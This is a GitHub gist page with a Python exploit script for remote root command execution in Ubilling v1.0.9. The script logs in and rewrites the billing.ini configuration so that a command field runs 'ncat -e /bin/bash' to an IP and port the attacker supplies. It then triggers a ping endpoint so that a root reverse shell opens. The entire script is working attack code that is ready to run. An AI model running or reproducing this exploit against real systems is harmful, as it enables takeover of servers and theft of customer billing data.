Instantly share code, notes, and snippets.

mhaskar / ubilling-rce.py Secret

Created 2 years ago

☆ Star

Code Revisions 1

ubilling-rce.py

```python
#!/usr/bin/python3

# Exploit Title: Ubilling v1.0.9 Remote Root Command Execution
# Date: 17/08/2020
# Exploit Author: Askar (@mohammadaskar2)
# Vendor Homepage: http://ubilling.net.ua/
# Version: v1.0.9
# Tested on: Ubuntu 18.04 / PHP 7.2.24


import requests
import sys
import warnings
from bs4 import BeautifulSoup
from urllib.parse import quote

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')


if len(sys.argv) != 6:
    print("[~] Usage : ./ubilling-rce.py url username password ip port")
    exit()

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]

# print("[+] Crafting Done!")


request = requests.session()


def login():
    login_info = {
    "login_form": "1",
    "username": username,
    "password": password
    }
    login_request = request.post(url+"/index.php", login_info)
    login_text = login_request.text
    if "Set-Cookie" in login_request.headers.keys():
        print("[+] Logged In Successfully!")
        return True
    else:
        print("[-] Please check your credentials!")
        return False


def craft_config():

    config_file_content = '''; type of low level billing interraction
baseconf = sgconfxml
SGCONF=/usr/sbin/sgconf
SGCONFXML=/usr/sbin/sgconf_xml
STG_HOST=localhost
STG_PORT=5555
XMLRPC_PORT=8081
STG_LOGIN=admin
STG_PASSWD=stgaca5140b
SUDO=/usr/bin/sudo
TOP = ; /tmp/a.sh #
CAT=/bin/cat
GREP=/bin/grep
RC_DHCPD=/etc/init.d/isc-dhcp-server
UPTIME=/usr/bin/uptime
PING=ncat -e /bin/bash {0} {1} #
TAIL=/usr/bin/tail
KILL=/bin/kill
STGPID=/var/run/stargazer.pid
STGNASHUP=1
PHPSYSINFO=phpsysinfo/
LANG = ua
TASKBAR_ICON_SIZE = 128
; user register options
REGRANDOM_MAC=1
REGALWONLINE=1
REGDISABLEDSTAT=1
;user reset type
```

```
RESET_AO=0
;No checks for stargazer runing process
NOSTGCHECKPID=0
;Path to installed wget
WGET_PATH="/usr/bin/wget"
;Path to system tar archiver
TAR_PATH="/usr/bin/tar"
;Path to system gzip archiver
GZIP_PATH="/usr/bin/gzip"
;Path to expect binary
EXPECT_PATH="/usr/bin/expect -f"
'''.format(ip, port)


    config_request = {
    "editfilepath": "./config/billing.ini",
    "editfilecontent": config_file_content
    }
    request.post(
    url+"/index.php?module=sysconf&editconfig=Li9jb25maWcvYmlsbGluZy5pbmk=",
    data=config_request
    )
    print("[+] Crafting Done!")


def send_payload():
    payload_url = url + "/?module=switches&backgroundicmpping=anythinghere"
    print("[+] Sending Payload ..")
    print("[+] Check your netcat for r00t shell ;)")
    payload_request = request.get(payload_url)


if login():
    print("[+] Crafting config files ..")
    craft_config()
    send_payload()
```